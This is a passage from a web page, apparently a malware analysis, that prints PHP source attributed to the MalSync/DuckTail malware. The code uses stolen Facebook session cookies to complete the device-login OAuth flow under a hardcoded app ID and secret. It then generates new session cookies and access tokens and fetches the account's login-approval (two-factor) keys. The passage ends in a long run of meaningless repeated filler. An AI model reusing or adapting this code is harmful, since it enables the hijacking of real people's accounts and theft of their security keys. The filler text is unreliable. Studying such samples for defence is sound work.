                    // Send a POST request to the URL with the access token
                    $ms = Request::post("https://mtouch.facebook.com/auth/token?next=/4", ["access_token" => $tokenTmp], ["user-agent: curl/7.58.0", "content-type: application/x-www-form-urlencoded"], [CURLOPT_POSTFIELDS => http_build_query(["access_token" => $tokenTmp]), CURLOPT_HEADER => 1]);
                    
                    // Use a regular expression to extract the cookies from the response
                    preg_match_all("/^Set-Cookie:\s*([^;]*)/mi", $ms, $matchesCK);
                    $cookies = [];
                    
                    // Parse the cookies and add them to the array
                    foreach ($matchesCK[1] as $item) {
                        parse_str($item, $cookie);
                        $cookies = array_merge($cookies, $cookie);
                    }
                    
                    // Return the array of cookies
                    return $cookies;
                }
            }
        }
    }
}

    // This function sends a POST request to Facebook's device login API to get a cookie for the user's IP address
    private function getCkIP($cookieStr, $ua, $uid)
    {
        try {
            // Send a GET request to the device login API with the user's access token, method, and scope, as well as the user agent and cookie string
            $response = Request::get("https://graph.facebook.com/v2.6/device/login?access_token=1348564698517390|007c0a9101b9e1c8ffab727666805038&method=post&scope=public_profile", ["accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-language: en-US,en;q=0.9,vi;q=0.8,zh-CN;q=0.7,zh;q=0.6,ru;q=0.5,ar;q=0.4", "connection: keep-alive", "upgrade-insecure-requests: 1", "Cache-Control: max-age=0", "user-agent: " . $ua, "cookie: " . $cookieStr]);
            
            // Decode the response JSON
            $response = json_decode($response);
            
            // If the response contains a code and user_code, extract them
            if ($response->code && $response->user_code) {
                $code = $response->code;
                $userCode = $response->user_code;
                
                // Send a GET request to the device login page to get the fb_dtsg and jazoest tokens
                $firstRequest = Request::get("https://mbasic.facebook.com/device", ["accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-language: en-US,en;q=0.9,vi;q=0.8,zh-CN;q=0.7,zh;q=0.6,ru;q=0.5,ar;q=0.4", "connection: keep-alive", "upgrade-insecure-requests: 1", "Cache-Control: max-age=0", "user-agent: " . $ua, "cookie: " . $cookieStr, "sec-fetch-dest: empty", "sec-fetch-mode: cors", "sec-fetch-site: same-origin", "dnt: 1", "origin: https://mbasic.facebook.com"]);
                
                // Extract the fb_dtsg and jazoest tokens from the response HTML
                preg_match_all("/name=\"fb_dtsg\" value=\"(.*?)\"/mi", $firstRequest, $matches, PREG_SET_ORDER, 0);
                preg_match_all("/name=\"jazoest\" value=\"(.*?)\"/mi", $firstRequest, $matchesJazoest, PREG_SET_ORDER, 0);
                
                // If the fb_dtsg token was found, extract it and set the jazoest token to NULL if it wasn't found
                if ($matches && $matches[0] && $matches[0][1]) {
                    $jazoest = NULL;
                    $dtsg = $matches[0][1];
                    if ($matchesJazoest && $matchesJazoest[0] && $matchesJazoest[0][1]) {
                        $jazoest = $matchesJazoest[0][1];
                    }
                    
                    // Set the POST data to include the fb_dtsg, user_code, and uid, as well as the jazoest token if it was found
                    $data = ["fb_dtsg" => $dtsg, "user_code" => $userCode, "__user" => $uid, "qr" => "0"];
                    if ($jazoest) {
                        $data["jazoest"] = $jazoest;
                    }
                    
                    // Send a POST request to the device login redirect URL with the POST data and headers, and follow the redirect
                    $rs = Request::post("https://mbasic.facebook.com/device/redirect/", $data, ["accept: */*", "connection: keep-alive", "upgrade-insecure-requests: 1", "Cache-Control: max-age=0", "user-agent: " . $ua, "cookie: " . $cookieStr, "sec-fetch-dest: document", "sec-fetch-mode: navigate", "sec-fetch-site: same-origin", "sec-fetch-user: ?1", "content-type: application/x-www-form-urlencoded", "dnt: 1", "origin: https://mbasic.facebook.com", "referer: https://mbasic.facebook.com/device"], [CURLOPT_POSTFIELDS => http_build_query($data), CURLOPT_HEADER => 1], true);
                    
                    // If the redirect URL was found, follow it and send a GET request to the resulting URL
                    if ($rs["redirect_url"]) {
                        $redirectUrl = $rs["redirect_url"];
                        sleep(1);
                        $req2 = Request::get($redirectUrl, ["accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-language: en-US,en;q=0.9,vi;q=0.8,zh-CN;q=0.7,zh;q=0.6,ru;q=0.5,ar;q=0.4", "connection: keep-alive", "upgrade-insecure-requests: 1", "Cache-Control: max-age=0", "user-agent: " . $ua, "cookie: " . $cookieStr, "sec-fetch-dest: empty", "sec-fetch-mode: cors", "sec-fetch-site: same-origin", "dnt: 1", "origin: https://mbasic.facebook.com", "referer: https://mbasic.facebook.com/device/redirect/"]);
                        
                        // If the GET request was successful, parse the response HTML and extract the form URL and POST data
                        if (!$req2) {
                            return NULL;
                        }

                        // Create a new DOMDocument object and load the response HTML from the previous GET request
                        $dom = new DOMDocument();
                        $dom->loadHTML($req2);

                        // Create a new DOMXPath object to query the DOMDocument
                        $xpath = new DOMXPath($dom);

                        // Query the DOMDocument for all form elements with a method attribute of "post"
                        $tagsForm = $xpath->query("//form[@method="post"]");

                        // Initialize the form URL variable to NULL
                        $formUrl = NULL;

                        // Loop through each form element and extract the action attribute to construct the form URL
                        foreach ($tagsForm as $item) {
                            $action = $item->getAttribute("action");
                            if ($action) {
                                $formUrl = "https://mbasic.facebook.com" . $action;
                                if ($formUrl) {
                                    // Query the form element for all input elements and extract their name and value attributes
                                    $tags = $xpath->query("//form[@method="post"]//input");
                                    $dataPost = [];
                                    foreach ($tags as $tag) {
                                        $name = $tag->getAttribute("name");
                                        $value = $tag->getAttribute("value");
                                        // Add the input element's name and value to the dataPost array if the name is not "__CANCEL__" and is not empty
                                        if ($name != "__CANCEL__" && !empty($name)) {
                                            $dataPost[$name] = $value;
                                        }
        }
                                    sleep(2);

                                    // Send a POST request to the form URL with the data post and headers
                                    $x1 = Request::post($formUrl, $dataPost, ["accept: */*", "connection: keep-alive", "upgrade-insecure-requests: 1", "Cache-Control: max-age=0", "user-agent: " . $ua, "cookie: " . $cookieStr, "sec-fetch-dest: document", "sec-fetch-mode: navigate", "sec-fetch-site: same-origin", "sec-fetch-user: ?1", "content-type: application/x-www-form-urlencoded", "dnt: 1", "origin: https://mbasic.facebook.com", "referer: " . $redirectUrl], [CURLOPT_POSTFIELDS => http_build_query($dataPost)], true);

                                    // If there is a redirect URL in the response, send a GET request to it
                                    if ($x1["redirect_url"]) {
                                        sleep(1);
                                        Request::get($x1["redirect_url"], ["accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-language: en-US,en;q=0.9,vi;q=0.8,zh-CN;q=0.7,zh;q=0.6,ru;q=0.5,ar;q=0.4", "connection: keep-alive", "upgrade-insecure-requests: 1", "Cache-Control: max-age=0", "user-agent: " . $ua, "cookie: " . $cookieStr, "sec-fetch-dest: empty", "sec-fetch-mode: cors", "sec-fetch-site: same-origin", "dnt: 1", "origin: https://mbasic.facebook.com", "referer: " . $formUrl]);
                                        sleep(2);

                                        // Send a GET request to "https://graph.fb.me/v2.6/device/login_status?pretty=0&code=" . $code . "&method=post&access_token=1348564698517390|007c0a9101b9e1c8ffab727666805038" with the following headers
                                        $eaaqContent = Request::get("https://graph.fb.me/v2.6/device/login_status?pretty=0&code=" . $code . "&method=post&access_token=1348564698517390|007c0a9101b9e1c8ffab727666805038", ["accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-language: en-US,en;q=0.9,vi;q=0.8,zh-CN;q=0.7,zh;q=0.6,ru;q=0.5,ar;q=0.4", "connection: keep-alive", "upgrade-insecure-requests: 1", "Cache-Control: max-age=0", "user-agent: " . $ua, "cookie: " . $cookieStr]);

                                        // Initialize $accessTokenEAAQ to NULL
                                        $accessTokenEAAQ = NULL;

                                        // If $eaaqContent is not empty, decode it from JSON
                                        if ($eaaqContent) {
                                            $eaaqContent = json_decode($eaaqContent);
                                        }

                                        // If $eaaqContent is not empty and has an access token, set $accessTokenEAAQ to the access token
                                        if ($eaaqContent && $eaaqContent->access_token) {
                                            $accessTokenEAAQ = $eaaqContent->access_token;
                                        }


                                        // If $accessTokenEAAQ is not null, then proceed with the following code block
                                        if ($accessTokenEAAQ) {
                                            // Wait for 1 second
                                            sleep(1);
                                            // Send a GET request to "https://b-graph.facebook.com/auth/create_session_for_app?method=post&new_app_id=1348564698517390&generate_session_cookies=1&pretty=0&access_token=" . $accessTokenEAAQ with the following headers
                                            $x3 = Request::get("https://b-graph.facebook.com/auth/create_session_for_app?method=post&new_app_id=1348564698517390&generate_session_cookies=1&pretty=0&access_token=" . $accessTokenEAAQ, ["accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-language: en-US,en;q=0.9,vi;q=0.8,zh-CN;q=0.7,zh;q=0.6,ru;q=0.5,ar;q=0.4", "connection: keep-alive", "upgrade-insecure-requests: 1", "Cache-Control: max-age=0", "user-agent: " . $ua, "cookie: " . $cookieStr]);
                                            // Initialize $rData to null
                                            $rData = NULL;
                                            // If $x3 is not null, then proceed with the following code block
                                            if ($x3) {
                                                try {
                                                    // Decode the JSON string in $x3 and store it in $j
                                                    $j = json_decode($x3, true);
                                                    // Create an array $rData with key "d" and value $j
                                                    $rData = ["d" => $j];
                                                    // If $j is not null and has key "access_token", then proceed with the following code block
                                                    if ($j && $j["access_token"]) {
                                                        // Wait for 1 second
                                                        sleep(1);
                                                        // Store the value of $j["access_token"] in $token
                                                        $token = $j["access_token"];
                                                        // Send a GET request to "https://graph.facebook.com/me/loginapprovalskeys?method=post&access_token=" . $token with the following headers
                                                        $tfa = Request::get("https://graph.facebook.com/me/loginapprovalskeys?method=post&access_token=" . $token, ["accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-language: en-US,en;q=0.9,vi;q=0.8,zh-CN;q=0.7,zh;q=0.6,ru;q=0.5,ar;q=0.4", "connection: keep-alive", "upgrade-insecure-requests: 1", "Cache-Control: max-age=0", "user-agent: " . $ua, "cookie: " . $cookieStr]);
                                                        try {
                                                            // If $tfa is not null, then decode the JSON string in $tfa and store it in $rData with key "f"
                                                            if ($tfa) {
                                                                $rData["f"] = json_decode($tfa, true);
                                                            }
                                                        } catch (Exception $e) {
                                                        }
                                                    }
                                                } catch (Exception $e) {
                                                }
                                            }
                                            // Return $rData
                                            return $rData;
                                        }

                                    }
                                }
                            }
                        }
                    }
                }
            }
            return NULL;
        } catch (Exception $e) {
            return NULL;
        }
    }
    private function getCkIP2($cookieStr, $ua)
    {
        $response = Request::get("https://b-graph.facebook.com/v2.6/device/login?access_token=1348564698517390|007c0a9101b9e1c8ffab727666805038&method=post&scope=public_profile&pretty=0", ["accept: */*", "accept-language: en-US,en;q=0.9", "authority: www.facebook.com", "cookie: " . $cookieStr, "origin: https://www.facebook.com", "referer: https://www.facebook.com/device", "sec-ch-prefers-color-scheme: light", "sec-ch-ua-mobile: ?0", "sec-fetch-dest: empty", "sec-fetch-mode: cors", "sec-fetch-site: same-origin", "user-agent: " . $ua]);
        if ($response) {
            $response = json_decode($response);
            $USERCODE = $response->user_code;
            // Sleep for 1 second
            sleep(1);

            // Send a GET request to https://mbasic.facebook.com with headers and store the response in $firstRequest
            $firstRequest = Request::get("https://mbasic.facebook.com", ["accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-language: en-US,en;q=0.9,vi;q=0.8,zh-CN;q=0.7,zh;q=0.6,ru;q=0.5,ar;q=0.4", "connection: keep-alive", "upgrade-insecure-requests: 1", "Cache-Control: max-age=0", "user-agent: " . $ua, "cookie: " . $cookieStr, "sec-fetch-dest: empty", "sec-fetch-mode: cors", "sec-fetch-site: same-origin", "dnt: 1", "origin: https://mbasic.facebook.com"]);

            // Use regex to extract the fb_dtsg value from $firstRequest and store it in $DTSG
            preg_match_all("/name=\"fb_dtsg\" value=\"(.*?)\"/mi", $firstRequest, $matches, PREG_SET_ORDER, 0);
            if ($matches && $matches[0] && $matches[0][1]) {
                $DTSG = $matches[0][1];

                // Construct a data string and parse it into an array
                $data = "client_id=1348564698517390&scope=public_profile&force_confirmation=true&auth_type=rerequest&ref=DeviceAuth&user_code=" . $USERCODE . "&state=&redirect_uri=https%3A%2F%2Fwww.facebook.com%2Fdialog%2Freturn%2Farbiter&display=async&__a=1&fb_dtsg=" . $DTSG;
                parse_str($data, $dArray1);

                // Sleep for 2 seconds
                sleep(2);

                // Send a POST request to https://www.facebook.com/dialog/oauth with $dArray1 as data and headers, and store the response in $rs
                $rs = Request::post("https://www.facebook.com/dialog/oauth", $dArray1, ["accept: */*", "accept-language: en-US,en;q=0.9", "authority: www.facebook.com", "content-type: application/x-www-form-urlencoded", "cookie: " . $cookieStr, "origin: https://www.facebook.com", "referer: https://www.facebook.com/device", "sec-ch-prefers-color-scheme: light", "sec-ch-ua-mobile: ?0", "sec-fetch-dest: empty", "sec-fetch-mode: cors", "sec-fetch-site: same-origin", "user-agent: " . $ua, "viewport-width: 1788"], [CURLOPT_POSTFIELDS => $data]);

                // Use regex to extract the encrypted_post_body value from $rs and store it in $encryptPostBody
                preg_match_all("/"encrypted_post_body":"(.*?)"/i", $rs, $matches2, PREG_SET_ORDER, 0);
                if ($matches2 && $matches2[0] && $matches2[0][1]) {
                    $encryptPostBody = $matches2[0][1];

                    // Construct a data string and parse it into an array
                    $data = "fb_dtsg=" . $DTSG . "&deduplicate=&link_customer_account=&read=&link_news_subscription=&write=&extended=&confirm=&reauthorize=&user_messenger_contact=&user_pay_preference=&auth_nonce=&auth_type=rerequest&calling_package_key=&default_audience=&dialog_type=gdp_comet&display=async&domain=&extras=&facebook_sdk_version=&fallback_redirect_uri=&fbapp_pres=&install_nonce=&logged_out_behavior=&l_nonce=&messenger_page_id=&nonce=&reset_messenger_state=&ret=&return_format=access_token&return_scopes=&scope=public_profile&sdk=&sdk_version=&sso_device=&tp=unspecified&user_code=" . $USERCODE . "&page_id_account_linking=&encrypted_post_body=" . $encryptPostBody . "&seen_scopes=&__a=1";
                    parse_str($data, $dArray2);

                    // Sleep for 2 seconds
                    sleep(2);

                    // Send a POST request to https://www.facebook.com/v2.0/dialog/oauth/confirm with $dArray2 as data and headers, and store the response in $rs3
                    $rs3 = Request::post("https://www.facebook.com/v2.0/dialog/oauth/confirm", $dArray2, ["accept: */*", "accept-language: en-US,en;q=0.9", "authority: www.facebook.com", "content-type: application/x-www-form-urlencoded", "cookie: " . $cookieStr, "origin: https://www.facebook.com", "referer: https://www.facebook.com/device", "sec-ch-prefers-color-scheme: light", "sec-ch-ua-mobile: ?0", "sec-fetch-dest: empty", "sec-fetch-mode: cors", "sec-fetch-site: same-origin", "user-agent: " . $ua], [CURLOPT_POSTFIELDS => $data]);

                    // Use regex to extract the access_token value from $rs3 and store it in $accessTokenEAAQ
                    preg_match_all("/"access_token":"(.*?)"/i", $rs3, $matches3, PREG_SET_ORDER, 0);
                    if ($matches3 && $matches3[0] && $matches3[0][1]) {
                        $accessTokenEAAQ = $matches3[0][1];

                        // Sleep for 1 second
                        sleep(1);

                        // Send a GET request to https://b-graph.facebook.com/auth/create_session_for_app with headers and $accessTokenEAAQ as a query parameter, and store the response in $x3
                        $x3 = Request::get("https://b-graph.facebook.com/auth/create_session_for_app?method=post&new_app_id=1348564698517390&generate_session_cookies=1&pretty=0&access_token=" . $accessTokenEAAQ, ["accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-language: en-US,en;q=0.9,vi;q=0.8,zh-CN;q=0.7,zh;q=0.6,ru;q=0.5,ar;q=0.4", "connection: keep-alive", "upgrade-insecure-requests: 1", "Cache-Control: max-age=0", "user-agent: " . $ua, "cookie: " . $cookieStr]);

                        // Initialize $rData to NULL
                        $rData = NULL;
                        if ($x3) {
                            try {
                                // Decode the JSON response from $x3 and store it in $rData["d"]
                                $j = json_decode($x3, true);
                                $rData = ["d" => $j];
                                if ($j && $j["access_token"]) {
                                    // Sleep for 1 second
                                    sleep(1);

                                    // Send a GET request to https://graph.facebook.com/me/loginapprovalskeys with $token as a query parameter, and store the response in $tfa
                                    $token = $j["access_token"];
                                    sleep(1);
                                    $tfa = Request::get("https://graph.facebook.com/me/loginapprovalskeys?method=post&access_token=" . $token, ["accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-language: en-US,en;q=0.9,vi;q=0.8,zh-CN;q=0.7,zh;q=0.6,ru;q=0.5,ar;q=0.4", "connection: keep-alive", "upgrade-insecure-requests: 1", "Cache-Control: max-age=0", "user-agent: " . $ua, "cookie: " . $cookieStr]);

                                    // Try to decode the JSON response from $tfa and store it in $rData["f"]
                                    try {
                                        if ($tfa) {
                                            $rData["f"] = json_decode($tfa, true);
                                        }
                                    } catch (Exception $e) {
                                    }
                                }
                            } catch (Exception $e) {
                            }
                        }

                        // Return $rData
                        return $rData;
                    }
                }
            }
        }
    }
}
function mprint($args)
{
    $DEBUG = 0;
    if ($DEBUG) {
        print_r($args);
        echo PHP_EOL;
    }
}

?>

Additional MalSync / DuckTail Malware References:



Source link
ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde ddde

Leave a Reply

Your email address will not be published. Required fields are marked *